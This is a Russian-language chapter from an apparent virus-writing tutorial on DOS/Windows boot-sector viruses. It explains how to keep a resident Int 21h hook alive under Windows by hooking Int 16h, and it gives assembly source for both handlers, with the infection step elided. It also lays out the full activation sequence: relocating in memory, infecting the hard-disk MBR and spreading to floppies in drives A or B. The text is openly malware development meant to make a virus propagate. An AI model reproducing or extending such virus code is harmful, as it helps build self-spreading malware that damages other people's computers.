Общий алгоритм работы вируса

О применении вектора Int 16h

О перехвате Int 21h программой, загружаемой из Master Boot Record

Разрабатываем новый алгоритм активизации

Объясняем полученные результаты

С целью найти причины описанного явления я провел не один десяток экспериментов, и наконец, получил некоторые результаты.Как вы помните, наш вирус сидит на Int 13h. Таким образом, он получит управление только при вызове этого прерывания. Оказалось, что при записи или чтении дискет при работе в WINDOWS Int 13h вообще не вызывается. Вместо этого операционная система обращается к диску "мимо" прерывания, взаимодействуя непосредственно с контроллером гибких дисков.Поэтому наш вирус и не заражает дискеты.

Следует заметить, что при работе с жестким диском WINDOWS все же вызывает Int 13h, что следует из проведенных автором экспериментов.

Таким образом, с помощью старых методов эту задачу решить, скорее всего, не удастся. Необходим совершенно новый подход. Но об этом - в следующем пункте.

Легче всего сказать, что подход должен быть новым. Труднее предложить что - то по существу. Были придуманы несколько методик, но все они не дали положительного результата. И тут автор неожиданно получил очень своеобразное предложение - вместо Int 13h использовать для активизации вируса Int 21h. В самом деле, почему бы нам не перехватить Int 21h, и не попробовать проследить за сменой текущего диска (функция 0Eh). И как только активным станет дисковод "A" или "B", заразить диск в этом дисководе!!! Просто и со вкусом (идея Danny Dio, за что ему - благодарность). А мы продолжаем.

Дело за малым - осталось перехватить Int 21h, и задача решена. Но выяснилось, что это не так просто. Естественно было бы поступить так:

  1. Первым делом установить вектор Int 1Ch или Int 08h ( оба - таймер ) на собственный обработчик.
  2. Этот обработчик следит за вектором Int 21h, и как только последний изменяется - перехватывает Int 21h.
  3. Далее обработчик Int 1Ch (Int 08h) "обезвреживает" себя в памяти, например, командой "IRET", чтобы машина не зависала.

Так и было сделано, после чего началось самое интересное. Обработчик Int 21h исправно выполнялся несколько секунд, после чего его бессовестно топили - то ли MSDOS.SYS, то ли COMMAND.COM - не важно. Чтобы избавиться от этого эффекта, я придумал кучу способов - например, ждал не первого изменения вектора Int 21h, а, например, третьего, десятого и т.п. Как ни странно, ничего не получалось. Единственным методом был бы такой:

  1. Отловить момент, когда OC уже загружена и начинают выполняться программы, записанные, например, в AUTOEXEC.BAT.
  2. Перехватить Int 21h.

Проблема здесь в следующем: совершенно неясно, как именно засечь этот замечательный момент. Кроме того,такой метод тоже не дает стопроцентной гарантии. Поэтому идею пришлось отклонить, а вместо нее предложить алгоритм, который обсуждается в следующем пункте.

Как вы, наверное, знаете, прерывание Int 16h является программным и вызывается, например, системным обработчиком Int 09h (клавиатура), а также может вызываться из программы для выполнения некоторых действий,например, чтения символа с клавиатуры, получения ее флагов и т.п. При этом оно обладает одним замечательным свойством, а именно - пользовательский обработчик Int 16h не утапливается WINDOWS при загрузке, и вызывается даже в WORDе, EXCELе и FARе. Так, в проведенном автором эксперименте, при нажатии двух SHIFTов загрузочный сектор дискеты считывался и тут же записывался на место. Опытная программа загружалась из MBR и работала в любых WINDOWS - приложениях. Этот факт решено было использовать для построения "непотопляемой" процедуры обработки Int 21h. Итак, предлагаю такой алгоритм:

  1. Установить вектор Int 16h на вирусный обработчик.
  2. Этот обработчик постоянно вызывает вирусную процедуру Int 21h какой - нибудь экзотической собственной функцией, типа AX = 0BABCh.
  3. Если вирусная процедура обработки Int 21h активна, она должна " ответить " на этот вызов (пусть это будет AL = 98h). Если ответа нет, обработчик Int 21h не установлен или утоплен, поэтому Int 21h следует перехватить.

Не совсем просто, но тоже со вкусом. Сами процедуры обработки Int 16h и Int 21h могут быть, например, такими:

Текст обработчика Int 16h:

new_16h: push ax ;Сохраним push bx ;регистры push dx ;в push ds ;стеке push es ; pushf ; ; mov ax,0babch ;Вызовем вирусный int 21h ;обработчик cmp al,98h ;Int 21h собст- je cs:rrr_rrr ;венной функцией ;AX = 0babch.Если ;обработчик акти- ;вен, мы должны ;получить AL=98h, ;иначе Int 21h ;следует перехва- ;тить, чем мы и ;займемся: push cs ;DS = CS pop ds ; ; cli ;Запретить преры- ;вания mov ax,3521h ;Получим и сохра- int 21h ;ним вектор mov old_21h - 100h,bx ;Int 21h mov old_21h_2 - 100h,es; ; mov ax,2521h ;А теперь пере- mov dx,to_new_21h ;ставим этот век- int 21h ;тор на вирусный ;обработчик sti ;Разрешить преры- ;вания rrr_rrr: popf ;Восстановим pop es ;из pop ds ;стека pop dx ;регистры pop bx ; pop ax ; ; db 0eah ;И перейдем на old_16h dw 0 ;системный обра- old_16h_2 dw 0 ;ботчик Int 16h

Текст обработчика Int 21h (он отслеживает смену оператором текущего диска. Если текущим становится диск "A" или "B", обработчик заражает этот диск):

new_21h: pushf ;Этот участок cmp ax,0babch ;обработчика jne cs:else_func ;Int 21h отвечает mov al,98h ;обработчику popf ;Int 16h значени- iret ;ем AL = 98h; это ;служит признаком ;активности виру- ;сной процедуры ;обработки ;Int 21h ; else_func: popf ;Сохраним push ax ;регистры push bx ;в push cx ;стеке push dx ; push di ; push ds ; push es ; pushf ; ; cmp ah,0eh ;Смена текущего ;диска ? jne cs:restore_regs ;Нет - на выход cmp dl,1 ;Да - текущим ;хотят сделать ;" A " или " B " ;дисковод ? ja cs:restore_regs ;Нет - на выход ;Иначе - продол- ;жим : ;Далее следует " заразная " часть процедуры обра- ;ботки Int 21h : ; ... ; ... ; ... ; ... ; ... restore_regs: ;Восстановим из popf ;стека регистры pop es ; pop ds ; pop di ; pop dx ; pop cx ; pop bx ; pop ax ; ; db 0eah ;И перейдем на old_21h dw 0 ;системный обра- old_21h_2 dw 0 ;ботчик Int 21h

Вроде бы, все должно быть ясно. Причина, по которой от относительных адресов ячеек памяти отнимается 100h, описана в части 1, главе 2, пункте 2.5.

Кстати, использовать в данном случае Int 09h вместо Int 16h нельзя. Дело в том, что при загрузке WINDOWS топит все пользовательские программы, которые "зацеплены" за этот вектор. Топится даже великий и могучий KEYRUS.COM,не говоря уже о наших вирусах.

Теперь настало время создать алгоритм работы нашего вируса, чем мы и займемся. Как и прежде, попав при начальной загрузке машины в память по адресу 0000:7C00h, вирус должен выполнить такие действия:

  1. Установить регистры SS и SP на собственный стек
  2. "Отрезать" у системы несколько килобайтов памяти (вы уже догадываетесь, что "несколько" - это два?).
  3. Переписать свой код в полученную область памяти
  4. Передать управление следующей секции своего кода, уже расположенной в конце основной памяти.

Эта секция, в свою очередь, должна:

  1. Переопределить вектор прерывания Int 16h на вирусный код.
  2. Считать настоящий загрузочный сектор в память по адресу 0000:7C00h.
  3. Проверить, заражен - ли винчестер. Если нет, то заразить его MBR.
  4. Передать управление настоящему загрузочному сектору, находящемуся по адресу 0000:7C00h.

Далее выполняется загрузка операционной системы. Вирусный обработчик Int 16h,как было сказано выше, следит за состоянием обработчика Int 21h, и перехватывает это прерывание,если по какой - либо причине вирусная процедура обработки Int 21h не активна. Алгоритм его работы подробно описан в предыдущем пункте.

Как вы уже знаете," заразные " функции мы возложим на обработчик прерывания Int 21h. О том, как это будет реализовано, тоже было рассказано выше.